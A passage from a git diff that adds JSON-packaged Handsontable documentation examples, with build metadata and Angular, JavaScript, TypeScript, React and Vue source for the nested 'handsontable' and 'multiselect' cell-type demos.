\"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\n@Component({\n selector: 'example1-handsontable-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/handsontable-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..71eb75bd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0));\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..c2cee627 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Manufacturer {\n name: string;\n country: string;\n owner: string;\n}\n\nconst manufacturerData: Manufacturer[] = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..9d64d682 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Handsontable cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/handsontable-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..62e58b1e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/handsontable-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..ad3e621b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ MultiSelect cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst shipmentCategories = [\n 'Electronics and Gadgets',\n 'Medical Supplies',\n 'Auto Parts',\n 'Fresh Produce',\n 'Textiles',\n 'Industrial Equipment',\n 'Pharmaceuticals',\n 'Consumer Goods',\n 'Machine Parts',\n 'Food Products',\n];\n\nconst data = [\n ['Los Angeles International Airport', ['Electronics and Gadgets', 'Medical Supplies']],\n ['Chicago O\\'Hare International Airport', ['Auto Parts', 'Fresh Produce']],\n ['Charles de Gaulle Airport', ['Textiles', 'Industrial Equipment']],\n ['Tokyo Haneda Airport', ['Pharmaceuticals', 'Consumer Goods']],\n ['Singapore Changi Airport', ['Machine Parts', 'Food Products']],\n];\n\n@Component({\n selector: 'example1-multiselect-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n height: 200,\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n preventOverflow: 'horizontal',\n colWidths: 300,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/multiselect-cell-type/angular/example1.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/multiselect-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..6cddbd86 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ MultiSelect cell type · Array of objects · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst shipmentCategories = [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n];\n\nconst data = [\n ['Los Angeles International Airport', [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n ]],\n ['Chicago O\\'Hare International Airport', [\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n ]],\n ['Charles de Gaulle Airport', [\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ]],\n ['Tokyo Haneda Airport', [\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n ]],\n ['Singapore Changi Airport', [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n 